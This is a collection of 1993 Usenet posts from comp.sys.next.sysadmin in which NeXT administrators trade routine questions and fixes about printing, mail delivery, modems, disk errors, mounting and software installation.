Newsgroups: comp.sys.next.sysadmin From: davisre@sage.cc.purdue.edu (Robert Davis) Subject: Re: /etc/mtab? and the auto-diskmounter? and booting? Message-ID: <C50MKz.8JH@mentor.cc.purdue.edu> Sender: news@mentor.cc.purdue.edu (USENET News) Organization: Purdue University Computing Center References: <1993Mar29.200213.160239@zeus.calpoly.edu> <1993Mar30.001253.12872@vax.oxford.ac.uk> Date: Mon, 5 Apr 1993 14:50:51 GMT >In article <1993Mar29.200213.160239@zeus.calpoly.edu>, kwang@data.acs.calpoly.edu (Kevin John Wang) writes: >> Does anyone else's /etc/mtab keep getting chmod'ed to 600? This is >> wreaking havoc over here because df and SoundWorks refuse to work if they >> can't read /etc/mtab. >> 1: I have verified it in as far as on SOME of our >> machines the file is 600 after boot. SOME machines. >> 2: I'm fairly sure that on ALL the machines ejecting a floppy causes >> /etc/mtab to become 600. inserting does not. >> 3: I *THINK* that the OD has the same effect. >> 4: I *THINK* that fsck also twiddles with the permissions. If you can tolerate such a change, setting your umask (in Unix Expert Preferences) so that everyone can read/execute will cause the problem to go away. This may not be an option for network users. Rob -- | Robert Davis davis@sonata.cc.purdue.edu | "Look up, Hannah. Look up." NeXT Mail accepted --
Newsgroups: comp.sys.next.sysadmin From: hogan@boetius.rz-berlin.mpg.de (Kharim Hogan) Subject: How long can a NeXT printer cable REALLY be??? Message-ID: <1993Apr5.050305.28109@thunder.mcrcim.mcgill.edu> Sender: news@thunder.mcrcim.mcgill.edu Organization: Los Alamos National Laboratory, NM Date: Mon, 5 Apr 93 05:03:05 GMT Hi, We are needing to attach a NeXT laser printer to a NeXT that is about 40 feet away. Is there any way to do this? i.e. can one buy a cable that long or have one made somewhere or is this even possible? What's the longest length such a cable can be? FAQs say that the printer cable can't be longer than the one supplied by NeXT. Is this really the final word? Thanks, Kharim Hogan -- ************************************************************************* Kharim M. Hogan Systems Administrator hogan@music.mcgill.ca Faculty of Music, McGill University *************************************************************************
Newsgroups: comp.sys.next.sysadmin From: sherwood@space.ualberta.ca (System Administrator) Subject: Re: New user mail Message-ID: <1993Apr5.161618.4102@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada References: <1p0fcj$s1d@msuinfo.cl.msu.edu> Date: Mon, 5 Apr 1993 16:16:18 GMT Jim LeBay (lebay@mercury.cl.msu.edu) wrote: : Michael_Pizolato@afs.com writes : > Where does the mail that a new user receives come from? If possible, : > I'd like to add to it so it includes some site-specific information : > that our new users should know. : : New account home directories are copies of /usr/template/user. So you : could customize the Preferences, or .cshrc, or Mailboxes/Active.mbox. And in fact it's quite useful to create a fake user (you will have to do this manually) whose home directory is /usr/template/user. By doing this you can easily sign on and set up the defaults the way you want them. One of the otherthings that's quite useful is if the default .cshrc file has a line: source /u/home/skeleton/standard.csh This way you can add a new alias or a new path to the standard without having to notify all users and teach them how to edit .cshrc files. Savvy users are told that they can edit away, but it's their responsibility from then on. Most of my users source the default, then override what they don't like. That voice mail from Steve takes up a quarter meg. Mulitipy by n users and you have significant disk gone. Create a link in /usr/template/user/Mailboxes/OurSystem to whatever account you use yourself for administration. All new users have two mailboxes Active, and OurSystem, although they can't modify the latter. Whenever you have a new package installed, create a message, and send it to the admin account, then transfer it to OurSystem. This message should be a page describing the capabilities of the program, or the way we do things. The mailbox should be kept sorted by subject, with the first word being a keyword like "POLICY" "SOFTWARE" "HOWTO" "*NEWUSER" The subject line needs to be well thought out. (To sort the mailbox and leave it sorted, create a temporary mailbox, transfer All the messages to it, sort them by subject, then transfer them back.) If you have a site where people use command line Unix geeky stuff a lot, then you can add stuff to the Stuart manual. A quick look at the manual directory will make it fairly obvious how to go about this.. -- => Sherwood Botsford sherwood@space.ualberta.ca <= => University of Alberta Lab Manager, Space Physics Group <= => tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin From: sherwood@space.ualberta.ca (System Administrator) Subject: Re: How to make "lpr -d file.dvi" work Message-ID: <1993Apr5.172145.7759@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada References: <jwdb.733149386@dutnak2> Date: Mon, 5 Apr 1993 17:21:45 GMT Jan-Willem de Bruijn (jwdb@dutnak2.tudelft.nl) wrote: : If I look in the man page for lpr(1), it mentions an option -d that allows : one to print dvi files (as produced by tex). However, the command : lpr -d file.dvi does absolutely nothing, not even produce an error message. : : I have TeX installed, and thus also dvips (in /usr/local/bin). : : I cannot quickly find out where to customize the various lpr/lpd scripts. : Can someone point me to the right procedure to make this work? : : Thanks in advance for taking the trouble to answer, : lpr sets up the files and then tells lpd about them. Lpd in turn pipes the files to /usr/lib/NextPrinter/comm. although it's sneaky: There are a raft of links to comm. Lpd calls one of these links, and the actions that pscomm takes depend on the name it was invoked by. Now in actual fact Nextprinters default to sending stuff directly to npcomm under normal circumstances. And this is also where comm eventually sends it. This means, however that the psif filter is never used. Anyway, comm is a script that you can edit to use the dvips filter. To keep things consistent with other filter usage it should live in /usr/lib/Nextprinter, however, since people may want to use it as a command in its own right, creating a link would also be ok. Finally, if you don't want to hack with this, alias dviprint 'cat \!* | dvips -f | lpr' in your .cshrc file then dviprint file1.dvi file2.dvi ... -- => Sherwood Botsford sherwood@space.ualberta.ca <= => University of Alberta Lab Manager, Space Physics Group <= => tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc From: giltner@pogo.Colorado.EDU (Jon Giltner) Subject: Printing Inconsistancies Message-ID: <giltner.734029750@pogo.colorado.edu> Sender: news@ucsu.Colorado.EDU (USENET News System) Organization: University of Colorado, Boulder Date: Mon, 5 Apr 1993 17:09:10 GMT I am having a problem getting PostScript from PPD files to be included correctly when printing from an app. There seems to be something inconsistant, because when I spool to a printer, the PPD file PostScript does not get included properly, but when I save to a file (choose Save... from the Print... pannel), the saved file *does* have the correct PostScript. Here are the specifics: I am printing to a remote HP IIISi PostScript printer which can do duplex. I stop the queue (lpc stop hpiiisi) so that I can examine jobs printed there. I print twice to the queue, once using the default Options..., the second time selecting DuplexNoTumble from Options... Here is a diff of the two files that get spooled: pogo.colorado.edu:31# diff df* 4c4 < %%CreationDate: Mon Apr 5 11:01:51 1993 --- > %%CreationDate: Mon Apr 5 11:02:01 1993 201c201 < %%Feature: *Duplex None --- > %%Feature: *Duplex DuplexNoTumble Neither contains any PostScript to set the duplex mode on the printer (and in fact, either job will simply use whatever the printer is set to by default). BUT, if instead of spooling to a printer I save to a file (using Save... from the print pannel), here are the diffs of the two files: pogo.colorado.edu:32# diff /tmp/none.ps /tmp/dup.ps 4c4 < %%CreationDate: Mon Apr 5 11:02:25 1993 --- > %%CreationDate: Mon Apr 5 11:02:51 1993 209c209 < %%BeginFeature: *Duplex None --- > %%BeginFeature: *Duplex DuplexNoTumble 211c211 < false statusdict /setduplexmode get exec false statusdict /settumble get exec --- > true statusdict /setduplexmode get exec false statusdict /settumble get exec Notice the the "none" has the PostScript code included from the PPD file to turn duplex off, and the other has code to turn duplex on. How come the PPD file isn't used properly when the job is actually spooled to a printer? -- Jon Giltner Computing and Network Services University of Colorado (giltner@spot.Colorado.EDU) Boulder
Newsgroups: comp.sys.next.sysadmin From: hoymand@wissago.wisc.edu (Dirk Herr-Hoyman) Subject: Procmail as local mail delivery agent Message-ID: <1993Apr5.182504.18252@pslu1.psl.wisc.edu> Sender: news@pslu1.psl.wisc.edu (USENET News System) Organization: Physical Sciences Lab, UW-Madison Date: Mon, 5 Apr 93 18:25:04 GMT I am considering using procmail, a mail filtering package, as the local mail delivery agent, as suggested in it's documentation. Basically this will require changing the sendmail.cf to use /usr/local/bin/procmail in the Mlocal rule. Before I do this, I thought I'd ask to see if there are any "gotchas". Thanks. -- Dirk Herr-Hoyman Internet Publishing Specialist Electronic Journal of Extension Project Coordinator University of Wisconsin-Extension hoymand@joe.uwex.edu (NeXTmail accepted) 608-265-3893 (voice) 608-265-2530 (fax)
From: lotto@math.berkeley.edu (Ben Lotto) Newsgroups: comp.sys.next.sysadmin Subject: Want to dial out and in Date: 5 Apr 93 13:01:54 Organization: U.C. Berkeley Math. Department. Distribution: world Message-ID: <LOTTO.93Apr5130154@math.math.berkeley.edu> I've been trying to set up a NeXT with a modem to dial out and in. I followed the instructions in the manual, setting the modem to the appropriate settings, changing the line in /etc/ttys to read: ttyda "/usr/etc/getty D9600" dialup on and then typing kill -HUP 1. The modem now answers calls but I can't get the machine to dial out. We had been using kermit to dial out before without any problem, but now /dev/ttya is always busy and kermit won't take /dev/cua as an alternate device. (The manual says to dial out using /dev/cua.) How can I get this to work? Thanks. -- -B. A. Lotto Department of Mathematics/Lake Forest College/Lake Forest IL 60045 708-735-5159 lotto@math.berkeley.edu
From: bryan@kolsky.tamu.edu (Bryan Milligan) Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin,tamu.general Subject: Trying to install perl. Date: 5 Apr 1993 20:19:42 GMT Organization: Texas A&M University, College Station, TX Distribution: world Message-ID: <1pq48uINN4l6@tamsun.tamu.edu> Keywords: perl, next I'm trying to install perl on my NeXTstation, but apparently I am doing something wrong. I accepted all the defaults suggested by the Configure script (hey, they looked good to me) after selecting "next" as the os option. Does anyone out there have any tips or suggestions? The version I have is perl-4.036; I ftp'd this from prep.ai.mit.edu. -- Bryan Milligan Voice: (409) 845-7541 Department of Aerospace Engineering Fax: (409) 845-6051 Texas A&M University bryan@kolsky.tamu.edu (NeXT Mail accepted)
Newsgroups: comp.sys.next.sysadmin From: griz.hacker.net!keith (Keith Hollister) Subject: Re: where's nslookup? Message-ID: <1993Apr5.203738.490@griz.uucp> Sender: keith@griz.uucp Organization: Ursa Systems References: <1993Apr5.134840.18483@macc.wisc.edu> Date: Mon, 5 Apr 1993 20:37:38 GMT In article <1993Apr5.134840.18483@macc.wisc.edu> anderson@macc.wisc.edu (Jess Anderson) writes: > In article <1993Apr5.111811.1215@griz.uucp> > griz.hacker.net!keith (Keith Hollister) writes: > > >Can someone point me to either a compiled version of nslookup for a NeXT, > >or the source to same? Thanks > > /usr/etc/nslookup > Oh, how embarassing! I didn't try to execute this as root and my normal user account doesn't have /usr/etc in the path. I didn't think to do a find. Boy do I feel stupid. Keith Hollister uunet!griz!keith
From: rmyers@dec5200.acs.uci.edu (Richard Myers) Subject: NetWare gone... Message-ID: <2BC0A285.15650@news.service.uci.edu> Summary: can't find directory Newsgroups: comp.sys.next.sysadmin Organization: University of California, Irvine Keywords: NetWare Date: 5 Apr 93 21:20:06 GMT We had NetWare running fine for about a week. Now when we log on all we see is the volume 'SYS'. lr-xr-xr-t 2 root 1024 Apr 5 13:43 /Net/NetWare/LDS2/SYS -> (automount)@ I can't see anything there, nor can I change to that directory. I have plenty of rights on the Novell box. The Novell is Arcnet+10baseT. NetWare 3.11, 20 user (with space to log on). Please mail tips on how to see the files on the server. Thanks, Kurt
Newsgroups: comp.sys.next.sysadmin From: cedman@princeton.edu (Carl Edman) Subject: Re: Procmail as local mail delivery agent In-Reply-To: hoymand@wissago.wisc.edu's message of Mon, 5 Apr 93 18:25:04 GMT To: hoymand@wissago.wisc.edu (Dirk Herr-Hoyman) Message-ID: <CEDMAN.93Apr5160449@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <1993Apr5.182504.18252@pslu1.psl.wisc.edu> Date: Mon, 5 Apr 1993 20:04:49 GMT In article <1993Apr5.182504.18252@pslu1.psl.wisc.edu> hoymand@wissago.wisc.edu (Dirk Herr-Hoyman) writes: I am considering using procmail, a mail filtering package, as the local mail delivery agent, as suggested in it's documentation. Basically this will require changing the sendmail.cf to use /usr/local/bin/procmail in the Mlocal rule. Before I do this, I thought I'd ask to see if there are any "gotchas". I've been using a line like this in my sendmail.cf for years without any problem. Mlocal, P=/usr/local/bin/procmail, F=rlsDFMmnP, S=10, R=20, A=procmail -d $u Carl Edman
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware From: michael@visix.com (Rainbow Without Eyes) Subject: Help on printer configuration? Sender: news@visix.com Message-ID: <C4uBIs.Exn@visix.com> Date: Fri, 2 Apr 1993 05:06:28 GMT Organization: Visix Software Inc., Reston, VA Greetings! Apologies in advance if this is in the wrong place. If so, please advise me as to where questions like this do belong. I am trying to attach an NEC Silentwriter 95 to my NeXT. The computer is a standalone 68030-driven slab running NeXTstep 3.0 with a grayscale head and a SCSI II port. I'm not picky if the printer is driven off the SCSI chain or a serial port -- I just want it to work. So far, all efforts have led to a stony silence from the printer. Just for sanity checking -- I've got the baud rates both set at 9600, the RS422 port enabled (thus disabling LocalTalk) with 8/N/1, the RS232 port enabled with 8/N/1, and the parallel port enabled. Thanks in advance, MJB -- -----------------------------+------------------------------------------------- mjbauer@lcs.mit.edu (prefer) | I'm your only friend / I'm not your only friend michael@visix.com | / but I'm a little glowing friend / but really mjbauer@mit.edu | I'm not actually your friend / but I am mjbauer@amt.mit.edu | Michael Bauer, Visix Software computer geek.
Newsgroups: comp.sys.next.sysadmin From: anderson@macc.wisc.edu (Jess Anderson) Subject: Re: where's nslookup? Message-ID: <1993Apr6.030918.23542@macc.wisc.edu> Sender: news@macc.wisc.edu (USENET News System) Organization: Madison Academic Computing Center, UW-Madison References: <1993Apr5.134840.18483@macc.wisc.edu> <1993Apr5.203738.490@griz.uucp> Date: Tue, 6 Apr 93 03:09:18 GMT In article <1993Apr5.203738.490@griz.uucp> griz.hacker.net!keith (Keith Hollister) writes: >In article <1993Apr5.134840.18483@macc.wisc.edu> anderson@macc.wisc.edu >(Jess Anderson) writes: >> /usr/etc/nslookup > Oh, how embarassing! I didn't try to execute this as root and my normal >user account doesn't have /usr/etc in the path. I didn't think to do a >find. Boy do I feel stupid. Don't sweat it. I couldn't find it either, the first time I wanted to use it. I wrote to a friend at NeXT who told me what I just told you. -- [Jess Anderson <> Division of Information Technology, University of Wisconsin] [Internet: anderson@macc.wisc.edu <-best, UUCP:{}!uwvax!macc.wisc.edu!anderson] [Room 3130 <> 1210 West Dayton Street / Madison WI 53706 <> Phone 608/262-5888] [---------> Discrimination, Bigotry, and Hate are not Family Values <---------]
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin,comp.sys.next From: eps@shell.portal.com (Eric Schwartz) Subject: Failed System Test on a NeXTstation. Help!! Message-ID: <C51sLJ.3B1@unix.portal.com> Followup-To: poster Keywords: crash Sender: news@unix.portal.com Organization: Portal Communications Company Date: Tue, 6 Apr 1993 05:58:28 GMT PLEASE!! If you have lived through a Failed System Test and can offer any advice at all, please take a moment to read this message. A few hours ago my NeXTstation (running NS 2.1) popped up the following message: panic: (Cpu 0) MMU invalid descriptor during table walk It was one of those error panels that makes you cringe instantly, and the whole system was locked up - no keyboard, mouse, etc. The power key didn't work, nor did the usual keyboard sequences to enter the ROM monitor, etc. After pulling the plug and starting it back up, it immediately gave a "Failed System Test" message after "Testing system..", and then froze. The only thing I was able to do was press the power key, which brought up the ROM monitor, and the only information I was able to get from there was: Exception #2 (0x8) at 0x1006cdc <-- this came up several times as I tried to press Power to shut it down again and Exception #3 (0xc) at 0x100034c I ran out of ideas shortly after that and turned off the DRAM and system test options with the 'P' monitor command, and powered down again. Now I no longer get even a "Testing system" message or a box - just a blank screen and no ROM monitor. I am now desperate to get the machine back up and running, and I'd be grateful for ANY information that someone can offer, particularly: Any ideas what might have happened? Could it be a bad battery on the motherboard, which is now several years old? (Has anyone had this problem?) What are my options for hardware/technical support given that I have/had no support contract through NeXT, and purchased the machine at a university that (as far as I know) is no longer dealing with NeXT hardware? Thanks very much for your time and hopefully your response. Eric eps@shell.portal.com voice (408) 279-7191 -- Eric Schwartz eps@shell.portal.com
Newsgroups: comp.sys.next.sysadmin From: kchang@ncsa.uiuc.edu (Kenneth Chang) Subject: Bad super-block...now what? Date: Tue, 6 Apr 1993 07:15:15 GMT Message-ID: <1993Apr6.071515.7748@ncsa.uiuc.edu> Sender: kchang@ncsa.uiuc.edu (Kenneth Chang) Originator: kchang@troon.ncsa.uiuc.edu Organization: Nat'l Ctr for Supercomp App (NCSA) @ University of Illinois In the process of trying to upgrade from 2.1 to 3.0, I appear to have severely hosed the hard disk. The best I can do write now is boot up in single-user mode off the CD-ROM player. fsck'ing the internal hard disk gives me: BAD SUPER-BLOCK: MAGIC NUMBER WRONG Trying to specify an alternative super-block via the -b option does diddly. (Says the magic number is still wrong.) In addition, "disk -i /dev/rsd0a" tells me: Warning: 364 sector(s) in last cylinder unallocated This latter command crashes the machine midway through providing a list of supposed alternate super-blocks. Anyway, what should I do now and is there anyway of remedying this malady short of dropping the hard disk out the window? It's 2 a.m. & I am not amused. -- Kenneth Chang | National Center for Supercomputing Applications kchang@ncsa.uiuc.edu | Consulting Office/(217)244-1144 ----------------------------------------------------------------------------- "Everything's entertainment in America eventually" -- Tracy Ullman
Newsgroups: comp.sys.next.sysadmin From: mark@xexos.com (Mark Chamberlain) Subject: Re: How long can a NeXT printer cable REALLY be??? Message-ID: <1993Apr6.060305.1750@xexos.com> Sender: news@xexos.com Organization: Xexos, Ltd (London) References: <1993Apr5.050305.28109@thunder.mcrcim.mcgill.edu> Date: Tue, 6 Apr 1993 06:03:05 GMT In article <1993Apr5.050305.28109@thunder.mcrcim.mcgill.edu> hogan@boetius.rz-berlin.mpg.de (Kharim Hogan) writes: > Hi, > > We are needing to attach a NeXT laser printer to a NeXT that is about > 40 feet away. Is there any way to do this? i.e. can one buy a cable > that long or have one made somewhere or is this even possible? What's > the longest length such a cable can be? FAQs say that the printer cable > can't be longer than the one supplied by NeXT. Is this really the final > word? > We tried a 30 foot one at a clients site, and it worked. Your mileage may vary, usual disclaimers etc. -- Mark Chamberlain +44 71 237 4535 Xexos Ltd fax +44 71 231 0844 London mark@xexos.com
From: nico@imani.cam.org (Nicolas Dore) Newsgroups: comp.sys.next.sysadmin Subject: swapfile.front as vm file. Should I worry Keywords: vm virtual memory Message-ID: <1993Apr5.141454.1511@imani.cam.org> Date: 5 Apr 93 14:14:54 GMT Sender: nico@imani.cam.org Hi My machine uses a file named "/private/vm/swapfile.front" for virutal memory. The file /private/vm/swapfile" exists, but doesn't seem to grow with memory usage. "/etc/swaptab" defines "/private/vm/swapfile" as the vm file. I run 3.0 on a single HD '040 Cube, with a PLI 2.88 MB floppy on the chain. Now, what is happening? Can I delete "/private/vm/swapfile"? (I guess not) Can I get my machine to stop using "swapfile.front"? Thanks Nicolas Dor'e Montr'al No funny/interesting quote/picture: I have no idea how to di this!
Newsgroups: comp.sys.next.sysadmin From: jeffs@nextnorth.acs.ohio-state.edu (Jeff Schluep) Subject: Printer woes... Message-ID: <1993Apr6.132122.10115@magnus.acs.ohio-state.edu> Sender: news@magnus.acs.ohio-state.edu Organization: The Ohio State University Date: Tue, 6 Apr 1993 13:21:22 GMT I have a printer that is connected to a next station. It has been working fine and then all of a sudden it started spitting out these messages: lpd: Name /usr/ucb/lpr Msg connect "/dev/printe r" No such file or directory npd[113]: PrintSpooler couldn't connect to /dev /printer: No such file or directory The file doesn't exist like the message says but, I can't find it on other systems that have printers either! I have 2.1 on this particular system. Thanks in advance, --- Jeff Schluep Email: JEFF+@osu.edu The Ohio State University 1971 Neil Avenue Phone: (614) 292-4843 Columbus, Ohio 43210 Fax: (614) 292-1268
Newsgroups: comp.sys.next.sysadmin From: karthy@dannug.dk (Karsten Thygesen) Subject: tmpfs on the NeXT? Message-ID: <KARTHY.93Apr6134117@dannug.dannug.dk> Sender: news@dannug.dk (Usenet news owner) Organization: Dannug - Danish NeXT Users Group Distribution: comp Date: Tue, 6 Apr 1993 12:41:17 GMT Hi I just saw the tmpfs to the Suns, and I wonder if something similar exists to the NeXT?? tmpfs is a system so map any directory of your choise (i.e. /tmp) into virtual ram. In some cases, this have some drastic performance enhancements, but I have newer seen something similar to the NeXT. Any pointers?? Karsten.
Newsgroups: comp.sys.next.sysadmin From: cedman@princeton.edu (Carl Edman) Subject: Re: tmpfs on the NeXT? In-Reply-To: karthy@dannug.dk's message of Tue, 6 Apr 1993 12:41:17 GMT To: karthy@dannug.dk (Karsten Thygesen) Message-ID: <CEDMAN.93Apr6094156@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <KARTHY.93Apr6134117@dannug.dannug.dk> Distribution: comp Date: Tue, 6 Apr 1993 13:41:56 GMT In article <KARTHY.93Apr6134117@dannug.dannug.dk> karthy@dannug.dk (Karsten Thygesen) writes: I just saw the tmpfs to the Suns, and I wonder if something similar exists to the NeXT?? tmpfs is a system so map any directory of your choise (i.e. /tmp) into virtual ram. In some cases, this have some drastic performance enhancements, but I have newer seen something similar to the NeXT. I'm not aware of any public implementation of tmpfs though there are a few papers on the subject on the archives. Until I get around to that point on my TODO list, try compiling (which is probably the most common application with which tmpfs helps) with the '-pipe' switch. It should give you most of the advantages of tmpfs. Carl Edman
From: krause@buran.fb10.tu-berlin.de (Martin Krause) Newsgroups: comp.sys.next.sysadmin Subject: Automatic permanent mount of non 4.3-CD-Roms Date: 6 Apr 1993 16:10:39 GMT Organization: TUBerlin/ZRZ Message-ID: <1psa1v$sti@mailgzrz.TU-Berlin.DE> Hi, I am trying to mount a non 4.3-cdrom disk. Since fstab only work for 4.3 disks my first try was /usr/etc/mount -t cfs /dev/rsh2h /cd_data in rc.local . (The cd-rom drive has the sd2 SCSI-id). Since this hasn't worked, I have tried to mount the CD in single user mode, but failed completely. Any tries like /usr/etc/mount -t cfs /dev/sh2? /cd_data /usr/etc/mount -t cfs /dev/rsh2? /cd_data failed. (No, the cd-rom drive was recognized as sd2 while booting). If I normally boot my computer, login as any user, logout again, and insert the cd-rom then I am able to mount with /usr/etc/mount -t cfs /dev/rsh2h /cd_data Is there any way to configure the following behavior 1) Insert the cd-rom 2) Boot the computer 3) The computer mount the cd-rom (non 4.3) automatically and permanently. Any help appreciated. Thanks in advance Martin Krause krause@math.tu-berlin.de
From: bryan@kolsky.tamu.edu (Bryan Milligan) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,tamu.general Subject: Trying to install perl. (SOLVED...I hope.) Date: 6 Apr 1993 17:18:21 GMT Organization: Texas A&M University, College Station, TX Distribution: world Message-ID: <1pse0tINNhgd@tamsun.tamu.edu> Keywords: perl, next First off I would like to apologize for the vagueness of my original post. As one respondent pointed out, "doing something wrong" is not a lot to go on. The problem was a failure of the self test when runnung 'make test', specifically in the groups.t file. Thanks to Anthony Heading for solving my problem. The trouble resulted from NeXT having the header files split up between two directories, namely /usr/include/bsd and /usr/include/ansi. The solution is to create a single directory with links to all the files in the other two directories and the tell the Configure script to look there for the include files. I did this and reran Configure and make, and all seemed to go well. I think (hope) perl is working now. -- Bryan Milligan Voice: (409) 845-7541 Department of Aerospace Engineering Fax: (409) 845-6051 Texas A&M University bryan@kolsky.tamu.edu (NeXT Mail accepted)
Newsgroups: comp.sys.next.sysadmin From: soward@slow.inslab.uky.edu (John Soward) Subject: Re: Help on printer configuration? Message-ID: <C52ny9.8Lz@ms.uky.edu> Sender: news@ms.uky.edu (USENET News System) Organization: University Of Kentucky, Dept. of Math Sciences References: <C4uBIs.Exn@visix.com> Date: Tue, 6 Apr 1993 17:15:44 GMT Rainbow Without Eyes writes -> -> Greetings! -> -> Apologies in advance if this is in the wrong place. If so, please -> advise me as to where questions like this do belong. -> -> I am trying to attach an NEC Silentwriter 95 to my NeXT. The computer -> is a standalone 68030-driven slab running NeXTstep 3.0 with a -> grayscale head and a SCSI II port. -> Well, not to sound like a butthead, but there is no 68030 slab, they're all 040s and even though it has a SCSI-II connector it is not... -> I'm not picky if the printer is driven off the SCSI chain or a serial -> port -- I just want it to work. So far, all efforts have led to a -> stony silence from the printer. Just for sanity checking -- I've got -> the baud rates both set at 9600, the RS422 port enabled (thus -> disabling LocalTalk) with 8/N/1, the RS232 port enabled with 8/N/1, -> and the parallel port enabled. Okay the SCSI won't work unless you whip up your own driver...serial should work fine...one just needs the proper cabling...a Mac serial cable will work, but you will not be able to use hardware flow-control which might be a problem...probably not at 9600, one way to the NEC, but...So just plug the printer up, run /NextApps/PrinterManager.app and add the NEC...making sure to disable HW flow-control, unless you are sure you have a cable capable of it. -- ________________________________________________________________________ / 'The midnight sun will burn you up" -The Cure, Piggy in the Mirror / / soward@ms.uky.edu | soward@inslab.uky.edu (NeXT Mail) / /_______________________________________________________________________/
Newsgroups: comp.sys.next.sysadmin From: jwdb@dutnak2.tudelft.nl (Jan-Willem de Bruijn) Subject: Re: How to make "lpr -d file.dvi" work Message-ID: <jwdb.734113788@dutnak2> Sender: news@dutrun2.tudelft.nl (UseNet News System) Organization: Delft University of Technology References: <jwdb.733149386@dutnak2> <1993Apr5.172145.7759@kakwa.ucs.ualberta.ca> Date: Tue, 6 Apr 1993 16:29:48 GMT To summarize: >: If I look in the man page for lpr(1), it mentions an option -d that allows >: one to print dvi files (as produced by tex). However, the command >: lpr -d file.dvi does absolutely nothing, not even produce an error message. As several people pointed out to me by personal e-mail (for which my thanks): 'lpr' makes use of a script in /usr/lib/NextPrinter/Server/, which is called 'lpd.comm'. In actuality 'lpd' calls one of several symbolic links, present in that directory. It turned out that the rule for calling a dvi to PostScript filter is not implemented in 'lpd.comm', so you have to put it in yourself. (Secondly, there were some syntax errors in there as well, that only surfaced when a different filter was called, but these were minor.) The whole point of this exercise was to allow emacs users to print dvi files with "one" keystroke. It then performs "lpr -d". So that's why, Jan-Willem -- Jan-Willem de Bruijn jwdb@dutnak2.tn.tudelft.nl Lab. of Seismics and Acoustics NeXT-mail: jwdb@delphi.tn.tudelft.nl Dep. of Applied Physics Discipline is never an end in itself, Delft University of Technology only a means to an end.
From: mike@stacken.kth.se (Mike Henry) Newsgroups: comp.sys.next.sysadmin Subject: Re: Timezone info in Preferences incomplete Message-ID: <mike.734118765@sune.stacken.kth.se> Date: 6 Apr 93 17:52:45 GMT References: <1993Mar29.204838.16465@bernina.ethz.ch> <1993Mar30.071545.9216@rna.indiv.nluug.nl> Sender: usenet@kth.se (Usenet) Organization: Royal Institute of Technology, NADA In <1993Mar30.071545.9216@rna.indiv.nluug.nl> gerben@rna.indiv.nluug.nl writes: >It is indeed a litlle confusing, but the time on the map is MET DST, which is >Middle European Time, Daylight Savings Time, the correct time for NL. BTW, shouldn't MET be CET (central european time)? Anyway "Poland" has worked well for me... B^) >Gerben Wierda [NeRD:7539] Tel. (+31) 35 833539 -Mike -- Mike Henry INET : mike@stacken.kth.se /// August Wahlstromsv. 4 /// S-182 31 Danderyd \\\/// SWEDEN TEL : +46 8 755-8687 \XX/
From: mike@stacken.kth.se (Mike Henry) Newsgroups: comp.sys.next.sysadmin Subject: Re: WARNING: possible FAQs. Dial-in, Supra V.32bis, RTS/CTS. Message-ID: <mike.734119208@sune.stacken.kth.se> Date: 6 Apr 93 18:00:08 GMT References: <1pbi7u$ig0@uxa.ecn.bgu.edu> Sender: usenet@kth.se (Usenet) Organization: Royal Institute of Technology, NADA In <1pbi7u$ig0@uxa.ecn.bgu.edu> upbundal@uxa.ecn.bgu.edu (Pred Bundalo) writes: >Here's what I did and what happens: >1) Ordered a NeXT modem cable from NeXTConnection (part #8991) for > my Supra V.32bis V.42bis external FAXModem. >2) Edited /etc/ttys and commented out the entry for ttyda and replaced > it with an entry for ttydfa: >ttydfa "/usr/etc/getty std.9600" vt100 on I usually use DFax but I never used vt100 in /etc/ttys. Here's my old setup: ttydfa "/usr/etc/getty D38400" dialup on > What happens is that when I dial in (at 2400 baud; I don't have > access to a faster modem) I get connected and the Supra connects > at the correct speed (ie CONNECT 2400, the LED display confirms > it also) but I get garbage on my screen that looks typical of > a connection at the wrong speed. I'd say avoid "fixating" the terminal to vt100, use dialup and see. > I'd really like that FAQ and, even more, I'd like to hear from > Supra owners who've done this successfully. I don't think this is actually in the FAQ. The best help you have is the "Network and System Administration" manual that came with your machine. It's unbelievable how many questions asked on the net have answers which can be found in that manual. BTW, get DFax and really rock and roll! >Pred Bundalo -Mike -- Mike Henry INET : mike@stacken.kth.se /// August Wahlstromsv. 4 /// S-182 31 Danderyd \\\/// SWEDEN TEL : +46 8 755-8687 \XX/
From: matthews@oberon.umd.edu (Mike Matthews) Newsgroups: comp.sys.sun.admin,comp.sys.next.sysadmin Subject: Using Solaris 2.1 as mail host to BSD machines Date: 6 Apr 1993 18:23:17 GMT Organization: University of Maryland, College Park, MD Distribution: world Message-ID: <1pshql$31k@umd5.umd.edu> We're trying to use a SPARC LX running Solaris 2.1 as our mail host to NeXT and SunOS 4.x machines. I've got /var/mail exported to everybody, who's mounting it as /usr/spool/mail, and that part seems to work OK. The problem is, even though the sendmail.cf file (which is a main.cf file with the asked-for values) specifies mode 0600 for the files, they come out as mode 660, and when NeXTmail gets it, it becomes mode 4777. Not very secure. Also, sometimes you get "bad address" errors. SunOS mail can read the spool file, NeXT /usr/ucb/Mail cannot. 'from' works all the time. So, I have two questions. 1) what's up with NFS on Solaris 2.1? Is there a way to export with root permissions? 2) what's up with mail? I have no idea what's going on there. Any help would be IMMENSELY appreciated. Please reply by Email. Thanks! ------ Mike Matthews, matthews@oberon.umd.edu (NeXTmail accepted) ------ "Revolution is the opiate of the intellectuals" - "Oh, Lucky Man"
